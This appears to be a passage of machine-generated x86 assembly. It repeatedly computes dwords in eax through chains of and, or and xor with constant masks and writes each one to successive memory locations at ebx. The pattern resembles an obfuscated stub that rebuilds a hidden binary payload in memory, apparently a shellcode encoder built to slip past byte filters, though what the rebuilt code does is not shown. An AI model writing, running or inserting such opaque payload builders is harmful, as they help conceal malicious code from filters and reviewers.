xor eax, 0x26afd9db
and eax, 0x1082448
or eax, 0x4c38816
mov dword [ebx], eax
add ebx, edx
or eax, 0x5ccb78f7
and eax, 0x71c6fcb6
and eax, 0x1806036
or eax, 0x222d0208
mov dword [ebx], eax
add ebx, edx
and eax, 0x7961cc0
or eax, 0x65f2052e
and eax, 0x43a4042a
or eax, 0x88085a80
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a6e7ab9
and eax, 0x438122c2
and eax, 0x1002000
or eax, 0xac621e05
mov dword [ebx], eax
add ebx, edx
xor eax, 0x108e3d5d
and eax, 0xac4c0200
or eax, 0x12a823
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3726c3ff
and eax, 0x23801c8
or eax, 0x60060403
mov dword [ebx], eax
add ebx, edx
xor eax, 0x780ccce1
or eax, 0x7fe17446
and eax, 0x5ea2212c
or eax, 0x80281
mov dword [ebx], eax
add ebx, edx
or eax, 0xa2f3455
xor eax, 0x1e8db99b
and eax, 0x8a24
or eax, 0x3e054188
mov dword [ebx], eax
add ebx, edx
xor eax, 0x24e5e002
and eax, 0xa202922
or eax, 0xa0038440
mov dword [ebx], eax
add ebx, edx
xor eax, 0x357956bd
xor eax, 0x521111ea
and eax, 0x54ba814
or eax, 0x80044a
mov dword [ebx], eax
add ebx, edx
or eax, 0x4c0a22cc
and eax, 0x7db19ff9
and eax, 0x1810218
or eax, 0x222c6026
mov dword [ebx], eax
add ebx, edx
and eax, 0x48401b34
and eax, 0x220
or eax, 0xcbac5c8a
mov dword [ebx], eax
add ebx, edx
and eax, 0x7feb72cb
xor eax, 0x3107e973
and eax, 0x28223a01
or eax, 0x85400404
mov dword [ebx], eax
add ebx, edx
or eax, 0x3959e5ac
and eax, 0xac5aaa21
or eax, 0x40002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5aa06db1
and eax, 0x623e0582
or eax, 0x49
mov dword [ebx], eax
add ebx, edx
or eax, 0x8c81b95
xor eax, 0x105584bf
and eax, 0x5aaa0320
or eax, 0x400208d
mov dword [ebx], eax
add ebx, edx
or eax, 0x97d937c
and eax, 0x1e0583ac
or eax, 0x20004800
mov dword [ebx], eax
add ebx, edx
or eax, 0x47be10d2
and eax, 0x2a238962
or eax, 0x80002400
mov dword [ebx], eax
add ebx, edx
or eax, 0x5ca26021
xor eax, 0x4e738fdd
and eax, 0xc0201e
or eax, 0x50b8c40
mov dword [ebx], eax
add ebx, edx
or eax, 0x1141f4c5
and eax, 0x7d5204f
and eax, 0x181200e
or eax, 0x222c4230
mov dword [ebx], eax
add ebx, edx
and eax, 0x56343f5e
xor eax, 0x2c0a8a9b
and eax, 0xa2c0880
or eax, 0xc180562a
mov dword [ebx], eax
add ebx, edx
and eax, 0x2ed8b11a
and eax, 0x4a25d4e5
and eax, 0x8001000
or eax, 0xa5622e05
mov dword [ebx], eax
add ebx, edx
or eax, 0x15b092c6
and eax, 0x51bda93
and eax, 0x4128a03
or eax, 0xa84c2020
mov dword [ebx], eax
add ebx, edx
and eax, 0x2e59f46d
and eax, 0x20180001
or eax, 0x422605ca
mov dword [ebx], eax
add ebx, edx
xor eax, 0x12ccdfcf
and eax, 0x15789127
and eax, 0x10200004
or eax, 0x4e8a23a9
mov dword [ebx], eax
add ebx, edx
or eax, 0x2676d99b
and eax, 0x1344bb19
and eax, 0x12048b08
or eax, 0x2c0140a4
mov dword [ebx], eax
add ebx, edx
or eax, 0x3cddad02
or eax, 0x4cc6b40
and eax, 0x2a01ad62
or eax, 0x80220000
mov dword [ebx], eax
add ebx, edx
and eax, 0x17fcff99
and eax, 0xac00
or eax, 0x5cb005e
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6352fd7b
and eax, 0x3bd27d57
and eax, 0x22804004
or eax, 0x12d223a
mov dword [ebx], eax
add ebx, edx
or eax, 0x29f4e2ba
and eax, 0xbac42aa
or eax, 0xc0001c00
mov dword [ebx], eax
add ebx, edx
and eax, 0x17d924c3
xor eax, 0x29cafd14
and eax, 0x28423804
or eax, 0x85200601
mov dword [ebx], eax
add ebx, edx
xor eax, 0x921edd6
and eax, 0x287d052c
and eax, 0x20400000
or eax, 0x8c1eaa23
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4f958068
and eax, 0x620a004b
or eax, 0x340580
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6f918b42
and eax, 0xcaa0289
or eax, 0x52002124
mov dword [ebx], eax
add ebx, edx
and eax, 0x14126ac5
and eax, 0x14000284
or eax, 0x2a05c928
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6933e52c
or eax, 0x2dfb1c36
and eax, 0x2a232c22
or eax, 0x80008140
mov dword [ebx], eax
add ebx, edx
or eax, 0x4487e856
xor eax, 0x670cf0f
and eax, 0xc32058
or eax, 0x5088c06
mov dword [ebx], eax
add ebx, edx
and eax, 0x2821d61a
and eax, 0x1001a
or eax, 0x23ac6224
mov dword [ebx], eax
add ebx, edx
or eax, 0x4472c364
and eax, 0x3bd38c85
and eax, 0x3800000
or eax, 0xc82c5eaa
mov dword [ebx], eax
add ebx, edx
and eax, 0x511622e8
and eax, 0x1000200
or eax, 0xac623c05
mov dword [ebx], eax
add ebx, edx
or eax, 0x76e0b2fa
xor eax, 0x3e5e1f84
and eax, 0x801ca023
or eax, 0x2c420a00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x75aba6cb
and eax, 0x3915aba9
and eax, 0x140088
or eax, 0x622a0543
mov dword [ebx], eax
add ebx, edx
or eax, 0x47d8ddaa
or eax, 0x1b5aeab6
and eax, 0x5eaa23ad
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x45215912
and eax, 0x1e014bac
or eax, 0x20048000
mov dword [ebx], eax
add ebx, edx
xor eax, 0xa1cd03d
or eax, 0x3e48c7a9
and eax, 0x2a018d20
or eax, 0x80222042
mov dword [ebx], eax
add ebx, edx
or eax, 0x7dc7651a
and eax, 0x45570942
and eax, 0x5430842
or eax, 0x88a41c
mov dword [ebx], eax
add ebx, edx
and eax, 0xc79953e
and eax, 0x9001e
or eax, 0x23a46220
mov dword [ebx], eax
add ebx, edx
or eax, 0x66b9d234
or eax, 0x18227bcb
and eax, 0x4bac5aaa
or eax, 0x80000400
mov dword [ebx], eax
add ebx, edx
and eax, 0x2f41689a
and eax, 0x9000800
or eax, 0xa4623605
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2762c035
or eax, 0x1f57adf3
and eax, 0x8c56aa23
or eax, 0x20080000
mov dword [ebx], eax
add ebx, edx
and eax, 0x97143a1
xor eax, 0x58399f66
and eax, 0x40280543
or eax, 0x22160088
mov dword [ebx], eax
add ebx, edx
xor eax, 0x594f826d
and eax, 0x1a2003a4
or eax, 0x448a2009
mov dword [ebx], eax
add ebx, edx
or eax, 0x2cbd421b
and eax, 0x3e0543ac
or eax, 0x8800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7bf8be4d
or eax, 0x462a799e
and eax, 0x2232d62
or eax, 0xa8008000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4120781f
and eax, 0x103845c
or eax, 0x4c82802
mov dword [ebx], eax
add ebx, edx
or eax, 0x1fd7e3b
and eax, 0x1ad623e
or eax, 0x22000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x173bed1c
and eax, 0x239400ab
and eax, 0x384002a
or eax, 0xc8285e80
mov dword [ebx], eax
add ebx, edx
or eax, 0x3c765c31
and eax, 0xad621e01
or eax, 0x2004
mov dword [ebx], eax
add ebx, edx
and eax, 0x1220a9d0
or eax, 0x122c4658
and eax, 0xc2a00
or eax, 0xac528023
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4b238ff3
or eax, 0x38d01121
and eax, 0x623c05c1
or eax, 0x2000a
mov dword [ebx], eax
add ebx, edx
and eax, 0x45b8931f
and eax, 0x40280109
or eax, 0x1e8222a4
mov dword [ebx], eax
add ebx, edx
and eax, 0x786a7f51
or eax, 0x5fee007
and eax, 0x1c04c304
or eax, 0x220108a8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x71f5aa4b
or eax, 0x2d2fffb6
and eax, 0x2a23ad62
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x1fb379f0
and eax, 0x3f3389ae
and eax, 0x5038802
or eax, 0xc8245c
mov dword [ebx], eax
add ebx, edx
and eax, 0x7852ca96
xor eax, 0x66484b0b
and eax, 0x2208421c
or eax, 0x1a52022
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1584e9e9
and eax, 0x2280a82
or eax, 0xc9845428
mov dword [ebx], eax
add ebx, edx
xor eax, 0x38dd6d7f
or eax, 0xebdf020
and eax, 0xad603205
or eax, 0x20c00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6d56fd99
and eax, 0x66d8ee77
and eax, 0x108200
or eax, 0xac4e2823
mov dword [ebx], eax
add ebx, edx
or eax, 0x4e6168c1
xor eax, 0x3f1621b3
and eax, 0x40280140
or eax, 0x2216048b
mov dword [ebx], eax
add ebx, edx
or eax, 0x1f37752a
xor eax, 0x364604dc
and eax, 0x48282125
or eax, 0x16820288
mov dword [ebx], eax
add ebx, edx
xor eax, 0x14c379a4
and eax, 0xa014a08
or eax, 0x340481a4
mov dword [ebx], eax
add ebx, edx
and eax, 0x1326f92
and eax, 0x69536a06
and eax, 0x800
or eax, 0xaa23a562
mov dword [ebx], eax
add ebx, edx
or eax, 0x75fdad47
and eax, 0x5cbac46
or eax, 0x18
mov dword [ebx], eax
add ebx, edx
xor eax, 0x664f02e6
or eax, 0x2a86033
and eax, 0x23ac623a
or eax, 0x10004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x109d6fce
and eax, 0x3200ca0
or eax, 0xc88c520a
mov dword [ebx], eax
add ebx, edx
or eax, 0x31bb6ab8
and eax, 0x5d3dfe61
and eax, 0x9203e00
or eax, 0xa4420005
mov dword [ebx], eax
add ebx, edx
xor eax, 0x44bf527d
or eax, 0x577f02d3
and eax, 0xac5e2a23
or eax, 0x8000
mov dword [ebx], eax
add ebx, edx
and eax, 0x49344e2c
xor eax, 0x2d4e5639
and eax, 0x201a0409
or eax, 0x422401c2
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1b038d75
and eax, 0x582800ac
or eax, 0x6822301
mov dword [ebx], eax
add ebx, edx
xor eax, 0xa4223b0
and eax, 0x1400000c
or eax, 0x2a05cba0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x639f5b
and eax, 0x2a220462
or eax, 0x8001a900
mov dword [ebx], eax
add ebx, edx
or eax, 0x598c28bb
xor eax, 0x6d4830be
and eax, 0x4c38c44
or eax, 0x108201a
mov dword [ebx], eax
add ebx, edx
or eax, 0x4d0ecaf6
and eax, 0x18d623e
or eax, 0x22200000
mov dword [ebx], eax
add ebx, edx
or eax, 0x17b7c40a
xor eax, 0x54e22566
and eax, 0x430c4208
or eax, 0x88a01ca2
mov dword [ebx], eax
add ebx, edx
xor eax, 0x31f7fa4a
xor eax, 0x42eee42e
and eax, 0xa8200004
or eax, 0x5423e01
mov dword [ebx], eax
add ebx, edx
or eax, 0x1b43039d
and eax, 0xac422a01
or eax, 0x1c8022
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5306efbe
and eax, 0x62180589
or eax, 0x260042
mov dword [ebx], eax
add ebx, edx
or eax, 0x473c861a
or eax, 0x21e55c25
and eax, 0x46aa03ad
or eax, 0x18002000
mov dword [ebx], eax
add ebx, edx
and eax, 0xa11551e
and eax, 0xa00010c
or eax, 0x3405caa0
mov dword [ebx], eax
add ebx, edx
or eax, 0x7926e291
and eax, 0x2a23a920
or eax, 0x80000442
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7057d3c5
and eax, 0x2c20721f
and eax, 0x2006
or eax, 0x5cb8c58
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f817a94
and eax, 0x2208420a
or eax, 0x1a52034
mov dword [ebx], eax
add ebx, edx
or eax, 0x6635228a
and eax, 0x3e717d7c
and eax, 0x2204028
or eax, 0xc98c1e82
mov dword [ebx], eax
add ebx, edx
and eax, 0x1aa6df00
or eax, 0x8936696
and eax, 0x8223e04
or eax, 0xa5400001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x19c8b87d
or eax, 0x588585ac
and eax, 0xac0e8220
or eax, 0x502803
mov dword [ebx], eax
add ebx, edx
and eax, 0x5fb27d1e
and eax, 0x120002
or eax, 0x622c05c9
mov dword [ebx], eax
add ebx, edx
or eax, 0x5bcce094
and eax, 0x8640f41
and eax, 0x8200101
or eax, 0x568a22ac
mov dword [ebx], eax
add ebx, edx
or eax, 0x7cce0643
and eax, 0x3e0403ac
or eax, 0x1c800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x82aa0c2
and eax, 0x22232962
or eax, 0x88008400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x79c90d76
and eax, 0x72059d25
and eax, 0x8004
or eax, 0x5cb2c5a
mov dword [ebx], eax
add ebx, edx
or eax, 0x45132bff
xor eax, 0x24c26cfa
and eax, 0x21094204
or eax, 0x2a4203a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x64ec5458
xor eax, 0x37668e67
and eax, 0x40241800
or eax, 0x8b8846aa
mov dword [ebx], eax
add ebx, edx
xor eax, 0x23f841ae
and eax, 0x77915a4d
and eax, 0x20001a04
or eax, 0x8d622401
mov dword [ebx], eax
add ebx, edx
and eax, 0x2ae6ebcb
xor eax, 0x46a59d26
and eax, 0x2c46a223
or eax, 0x80180800
mov dword [ebx], eax
add ebx, edx
or eax, 0x23a2c983
and eax, 0x6ea718ab
and eax, 0x22260083
or eax, 0x40180548
mov dword [ebx], eax
add ebx, edx
xor eax, 0x66822713
and eax, 0x4a82288
or eax, 0x5a020125
mov dword [ebx], eax
add ebx, edx
or eax, 0x42397e28
and eax, 0x1e014bac
or eax, 0x20048000
mov dword [ebx], eax
add ebx, edx
or eax, 0x2e7653d1
and eax, 0x2a238960
or eax, 0x80002402
mov dword [ebx], eax
add ebx, edx
or eax, 0x60864272
or eax, 0xe2b11c
and eax, 0xc3ac5e
or eax, 0x5080000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5b58b2dd
and eax, 0x388921e
or eax, 0x20040020
mov dword [ebx], eax
add ebx, edx
or eax, 0x4e3e783f
and eax, 0x4bac5a2a
or eax, 0x80000480
mov dword [ebx], eax
add ebx, edx
or eax, 0x55953c5b
and eax, 0xde054a01
or eax, 0x20004
mov dword [ebx], eax
add ebx, edx
xor eax, 0xd5db930
xor eax, 0x34b9c72
and eax, 0xc0104e47
or eax, 0x228010
mov dword [ebx], eax
add ebx, edx
and eax, 0x7a656562
or eax, 0x6eb0c66c
and eax, 0x62300668
or eax, 0xe3190
mov dword [ebx], eax
add ebx, edx
and eax, 0x1adefa17
xor eax, 0x5e13d3e2
and eax, 0x100441a0
or eax, 0x22c2060d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3d1ba50e
xor eax, 0x280467ab
and eax, 0x3498500
or eax, 0x582620c5
mov dword [ebx], eax
add ebx, edx
and eax, 0x3a04f77b
and eax, 0xa048101
or eax, 0xc4425800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6abdcebc
and eax, 0x24aa101c
or eax, 0x5204c842
mov dword [ebx], eax
add ebx, edx
and eax, 0x21aaaef6
or eax, 0xf9309cf
and eax, 0x680004a
or eax, 0x40404200
mov dword [ebx], eax
add ebx, edx
and eax, 0x394c84fb
and eax, 0x40004a
or eax, 0xaf833694
mov dword [ebx], eax
add ebx, edx
and eax, 0x3822663f
xor eax, 0x1021079a
and eax, 0x8000104
or eax, 0xc0105e21
mov dword [ebx], eax
add ebx, edx
xor eax, 0x67d10806
and eax, 0x85015703
or eax, 0x402c8800
mov dword [ebx], eax
add ebx, edx
or eax, 0x53d47c7c
and eax, 0x75d0987e
and eax, 0x4100024
or eax, 0x80e6281
mov dword [ebx], eax
add ebx, edx
xor eax, 0x343add5e
and eax, 0x182014c2
or eax, 0x468a4000
mov dword [ebx], eax
add ebx, edx
or eax, 0x3ae9f861
or eax, 0x4036a5fc
and eax, 0x3e05c9ac
or eax, 0x200
mov dword [ebx], eax
add ebx, edx
and eax, 0x5411916f
and eax, 0x10018020
or eax, 0xc8183042
mov dword [ebx], eax
add ebx, edx
or eax, 0xd8225bc
and eax, 0x58ba43c
or eax, 0x400801
mov dword [ebx], eax
add ebx, edx
or eax, 0x15f2589e
and eax, 0x1a96c3e
or eax, 0x22040300
mov dword [ebx], eax
add ebx, edx
and eax, 0x76ce2ee5
and eax, 0x28c0220
or eax, 0xc920808a
mov dword [ebx], eax
add ebx, edx
and eax, 0x6822ba57
or eax, 0x13c6c3d2
and eax, 0x942c200
or eax, 0xa4001805
mov dword [ebx], eax
add ebx, edx
or eax, 0x5f7df2ab
xor eax, 0x7dec0f63
and eax, 0x80104400
or eax, 0x2c480a23
mov dword [ebx], eax
add ebx, edx
or eax, 0x7b5b77f7
or eax, 0x36adb459
and eax, 0x623e05cb
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x4137697b
and eax, 0x2fa1526d
and eax, 9
or eax, 0x2c903ea4
mov dword [ebx], eax
add ebx, edx
or eax, 0x2356347f
and eax, 0x2e040acf
or eax, 0x1001c100
mov dword [ebx], eax
add ebx, edx
or eax, 0x4ffb5246
xor eax, 0x29e3ec8a
and eax, 0x2002340
or eax, 0xa8238022
mov dword [ebx], eax
add ebx, edx
or eax, 0x5b48618e
and eax, 0x14ba04e
or eax, 0x4800c10
mov dword [ebx], eax
add ebx, edx
or eax, 0x1fd983c3
xor eax, 0x103dacbd
and eax, 0x3a40222
or eax, 0x2009601c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6d0d2b1
and eax, 0x12c108a
or eax, 0xca804e20
mov dword [ebx], eax
add ebx, edx
or eax, 0x60e8e31c
and eax, 0xa9603e04
or eax, 0x4020001
mov dword [ebx], eax
add ebx, edx
or eax, 0x1851f9ba
and eax, 0xac52aa23
or eax, 0xc0000
mov dword [ebx], eax
add ebx, edx
or eax, 0x8e0559
xor eax, 0x284e94a1
and eax, 0x1001ca
or eax, 0x622e0401
mov dword [ebx], eax
add ebx, edx
xor eax, 0x176a80d8
and eax, 0x54000101
or eax, 0xaaa22ac
mov dword [ebx], eax
add ebx, edx
and eax, 0x51b07d2f
or eax, 0x57ba9dfd
and eax, 0x41ba34ac
or eax, 0x80400000
mov dword [ebx], eax
add ebx, edx
and eax, 0x157a85e
and eax, 0x2200c
or eax, 0xaa218d91
mov dword [ebx], eax
add ebx, edx
or eax, 0x6c280ef2
and eax, 0xf80b10c
and eax, 0x400000c
or eax, 0x1eb1052
mov dword [ebx], eax
add ebx, edx
or eax, 0x517b331a
and eax, 0x1a9231e
or eax, 0x22044020
mov dword [ebx], eax
add ebx, edx
and eax, 0x6bedb447
and eax, 0x3ac0002
or eax, 0xc8005ca8
mov dword [ebx], eax
add ebx, edx
or eax, 0x735ca139
and eax, 0xa9603c01
or eax, 0x4020004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6055b7b0
or eax, 0x7efa1944
and eax, 0xac7e0221
or eax, 2
mov dword [ebx], eax
add ebx, edx
and eax, 0x594d5b2d
and eax, 0x7e503f75
and eax, 1
or eax, 0x621eb5ca
mov dword [ebx], eax
add ebx, edx
and eax, 0x4c57f146
and eax, 0x40029100
or eax, 0x1e880aad
mov dword [ebx], eax
add ebx, edx
xor eax, 0x766fa0ad
and eax, 0x656a87d5
and eax, 0x20000300
or eax, 0x1e15c8ac
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5fd4042a
and eax, 0x20018c02
or eax, 0x8a320060
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e0cfc81
xor eax, 0x57b4c1e4
and eax, 0x18b2906
or eax, 0x4604058
mov dword [ebx], eax
add ebx, edx
xor eax, 0x74600cff
xor eax, 0x42b0fc69
and eax, 0x23098108
or eax, 0x842436
mov dword [ebx], eax
add ebx, edx
or eax, 0x179d83b
and eax, 0x2cd72a9a
and eax, 0x84080a
or eax, 0xca2856a0
mov dword [ebx], eax
add ebx, edx
and eax, 0x16618a3f
xor eax, 0x3e476815
and eax, 0x66205
or eax, 0xc1081800
mov dword [ebx], eax
add ebx, edx
and eax, 0x649c033
and eax, 0x80000
or eax, 0xc0328416
mov dword [ebx], eax
add ebx, edx
or eax, 0x442ec9d5
and eax, 0x401c0587
or eax, 0x22410020
mov dword [ebx], eax
add ebx, edx
and eax, 0x6032966d
xor eax, 0x39edb3b8
and eax, 0x8d90699
or eax, 0x22004040
mov dword [ebx], eax
add ebx, edx
or eax, 0x65901a85
and eax, 0x1ffc6751
and eax, 0xe004200
or eax, 0x300591ac
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6b4dcbc4
and eax, 0x7be024f5
and eax, 0x60
or eax, 0xaaa3ad02
mov dword [ebx], eax
add ebx, edx
and eax, 0x1cda2a91
and eax, 0x822800
or eax, 0x54984de
mov dword [ebx], eax
add ebx, edx
or eax, 0x450b8b9d
and eax, 0x189221e
or eax, 0x22244020
mov dword [ebx], eax
add ebx, edx
and eax, 0x5bdff641
and eax, 0x38c4200
or eax, 0xc8201caa
mov dword [ebx], eax
add ebx, edx
and eax, 0xdb23544
and eax, 0x9201400
or eax, 0xa4422a05
mov dword [ebx], eax
add ebx, edx
and eax, 0x10a54a65
and eax, 0x801
or eax, 0xf81de522
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7f15fddf
and eax, 0x2f13ade1
and eax, 0x2000080
or eax, 0x602e0507
mov dword [ebx], eax
add ebx, edx
or eax, 0x458ba432
xor eax, 0x34383388
and eax, 0x5282142d
or eax, 0xc280080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2b03b963
and eax, 0x5121a58c
or eax, 0xa504020
mov dword [ebx], eax
add ebx, edx
or eax, 0x7cb7ac9f
and eax, 0xc34d74a
and eax, 0x404c10a
or eax, 0xc3031810
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f1c53c9
and eax, 0xb8810
or eax, 0x5c02420
mov dword [ebx], eax
add ebx, edx
xor eax, 0x76ca3a1a
and eax, 0x2301022a
or eax, 0x8c6014
mov dword [ebx], eax
add ebx, edx
and eax, 0x15313d64
or eax, 0x2ce04de1
and eax, 0x9a044a0
or eax, 0xc20c120a
mov dword [ebx], eax
add ebx, edx
or eax, 0x6c5d4643
and eax, 0xc9091001
or eax, 0x20004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4804a99
or eax, 0x2e5b0105
and eax, 0x881b5a00
or eax, 0x248442
mov dword [ebx], eax
add ebx, edx
and eax, 0x5205473e
and eax, 0x4c9d2b45
and eax, 0x40000
or eax, 0x623a05fe
mov dword [ebx], eax
add ebx, edx
or eax, 0x3252ee78
or eax, 0x27ec5146
and eax, 0x568a2bac
or eax, 0x8000001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x796a0901
or eax, 0x175931d4
and eax, 0x360133ac
or eax, 0x8048000
mov dword [ebx], eax
add ebx, edx
and eax, 0x75ab2330
and eax, 0x4010320
or eax, 0xca508042
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5e46169b
and eax, 0x4c186195
and eax, 0x11
or eax, 0x5aad82e
mov dword [ebx], eax
add ebx, edx
and eax, 0x149cfa39
and eax, 0x88c038
or eax, 0x23052206
mov dword [ebx], eax
add ebx, edx
or eax, 0x70af1f3
and eax, 0x38c12aa
or eax, 0xc8200000
mov dword [ebx], eax
add ebx, edx
and eax, 0x8d0c9b2
and eax, 0x8000000
or eax, 0xc1071005
mov dword [ebx], eax
add ebx, edx
or eax, 0x4319b81
and eax, 0x8c379a00
or eax, 0x20084442
mov dword [ebx], eax
add ebx, edx
and eax, 0x4a29cee9
or eax, 0xa129b55
and eax, 0x21ac941
or eax, 0x6004008a
mov dword [ebx], eax
add ebx, edx
and eax, 0x49fec359
or eax, 0x852814d
and eax, 0x480a010d
or eax, 0x16a03aa0
mov dword [ebx], eax
add ebx, edx
and eax, 0x768e3fa6
and eax, 0x520221a4
or eax, 0x875c408
mov dword [ebx], eax
add ebx, edx
and eax, 0x554b213
xor eax, 0xbcee5d
and eax, 0x404801
or eax, 0x8e029102
mov dword [ebx], eax
add ebx, edx
and eax, 0x5eb776da
and eax, 0x24000
or eax, 0x71a58328
mov dword [ebx], eax
add ebx, edx
or eax, 0x685cb6cf
and eax, 0x21ad0643
or eax, 0x2000010
mov dword [ebx], eax
add ebx, edx
or eax, 0x76eb98fe
xor eax, 0x5959599a
and eax, 0xa848220
or eax, 0xc108388a
mov dword [ebx], eax
add ebx, edx
or eax, 0x5b62ebf1
and eax, 0x8962e201
or eax, 0x24000004
mov dword [ebx], eax
add ebx, edx
and eax, 0x388a5f1
or eax, 0x72e8668f
and eax, 0x40288403
or eax, 0x88040020
mov dword [ebx], eax
add ebx, edx
or eax, 0x40a44b82
and eax, 0x400c41a2
or eax, 0x6533008
mov dword [ebx], eax
add ebx, edx
or eax, 0xdb703a9
xor eax, 0x1fc8456c
and eax, 0x101010c7
or eax, 0x2ac04910
mov dword [ebx], eax
add ebx, edx
or eax, 0x62767b4e
and eax, 0x3a0428ce
or eax, 0x4018400
mov dword [ebx], eax
add ebx, edx
or eax, 0x4571d21e
and eax, 0x2a006c42
or eax, 0x80020120
mov dword [ebx], eax
add ebx, edx
or eax, 0x57b3554
and eax, 0x54b3856
or eax, 0x808008
mov dword [ebx], eax
add ebx, edx
and eax, 0x4ac71d48
and eax, 0xc00808
or eax, 0x47044436
mov dword [ebx], eax
add ebx, edx
or eax, 0x1eab78d9
xor eax, 0x3a395f6f
and eax, 0x65c42280
or eax, 0x8a09084b
mov dword [ebx], eax
add ebx, edx
and eax, 0x5685fe18
and eax, 0x4002a00
or eax, 0xa9621437
mov dword [ebx], eax
add ebx, edx
and eax, 0x7648e144
and eax, 0x62306332
and eax, 0x20002000
or eax, 0x8c7f5e23
mov dword [ebx], eax
add ebx, edx
or eax, 0x67f15b13
or eax, 0x7e32b594
and eax, 0x623e1183
or eax, 0x48
mov dword [ebx], eax
add ebx, edx
or eax, 0x4af0c2b6
or eax, 0x732d383d
and eax, 0x3ac309ad
or eax, 0x400
mov dword [ebx], eax
add ebx, edx
and eax, 0x5287616c
and eax, 0x47ccb880
and eax, 0x2000000
or eax, 0x1864bfcd
mov dword [ebx], eax
add ebx, edx
and eax, 0x4f4d17c7
and eax, 0xa000541
or eax, 0xa023a810
mov dword [ebx], eax
add ebx, edx
xor eax, 0x78667023
or eax, 0x4c36242e
and eax, 0x462445e
or eax, 0x1880000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6afdc5e2
and eax, 0x2305003c
or eax, 0xa86a02
mov dword [ebx], eax
add ebx, edx
and eax, 0x302180aa
and eax, 0x2001002a
or eax, 0x8fc47080
mov dword [ebx], eax
add ebx, edx
and eax, 0x176fc8b9
and eax, 0x7fec55c3
and eax, 0x1004000
or eax, 0x88030a64
mov dword [ebx], eax
add ebx, edx
or eax, 0x7174a15b
and eax, 0xa856aa17
or eax, 0x4080000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x69638851
and eax, 0x401d2042
or eax, 0x2202d589
mov dword [ebx], eax
add ebx, edx
or eax, 0x46ef91f4
and eax, 0x46aa31ad
or eax, 0x18000800
mov dword [ebx], eax
add ebx, edx
or eax, 0x5390bd19
and eax, 0x5a28a5ac
or eax, 0x444000
mov dword [ebx], eax
add ebx, edx
or eax, 0x3d75f764
xor eax, 0x3ef9a077
and eax, 0x5103
or eax, 0x8e428800
mov dword [ebx], eax
add ebx, edx
and eax, 0x1ba52467
and eax, 0
or eax, 0x5cbac68
mov dword [ebx], eax
add ebx, edx
or eax, 0x35dc26b1
or eax, 0x234ba9cd
and eax, 0x239d223c
or eax, 0x4002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x78f62c82
xor eax, 0x627498f6
and eax, 0x90c520a
or eax, 0xc2a008a0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x66e9e345
and eax, 0x8c001005
or eax, 0x52000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5b0a5cbc
xor eax, 0x5dfeaecf
and eax, 0x8854a250
or eax, 0x240a0800
mov dword [ebx], eax
add ebx, edx
or eax, 0x47b33d02
and eax, 0x621fad42
or eax, 0x4089
mov dword [ebx], eax
add ebx, edx
xor eax, 0x16b1f841
and eax, 0x90fa0be
and eax, 0xa0088
or eax, 0x5ea02325
mov dword [ebx], eax
add ebx, edx
xor eax, 0x47b70c77
xor eax, 0x1c24c6d9
and eax, 0x401c900
or eax, 0x3a0402ac
mov dword [ebx], eax
add ebx, edx
xor eax, 0x96ccc3e
xor eax, 0x7c963353
and eax, 0xa021040
or eax, 0xa0004322
mov dword [ebx], eax
add ebx, edx
and eax, 0x2c851ef
or eax, 0x5b4c7391
and eax, 0x1482052
or eax, 0x4a38c0c
mov dword [ebx], eax
add ebx, edx
and eax, 0x498de58e
and eax, 0x39ad6e70
and eax, 0x1892000
or eax, 0x2224423e
mov dword [ebx], eax
add ebx, edx
and eax, 0x71c3f005
or eax, 0x4b4ad447
and eax, 0x4b885402
or eax, 0x80240aa8
mov dword [ebx], eax
add ebx, edx
or eax, 0x110cf09f
and eax, 0x89203e05
or eax, 0x24420000
mov dword [ebx], eax
add ebx, edx
or eax, 0x361f6c88
and eax, 0xac5e2a01
or eax, 0x8022
mov dword [ebx], eax
add ebx, edx
or eax, 0x5edaae6
and eax, 0x40af13c0
and eax, 0x2e00c0
or eax, 0x6210050b
mov dword [ebx], eax
add ebx, edx
or eax, 0x34f124c9
and eax, 0x568b0189
or eax, 0x800d224
mov dword [ebx], eax
add ebx, edx
and eax, 0x2bfb4568
or eax, 0x169c05b8
and eax, 0x1e0541a8
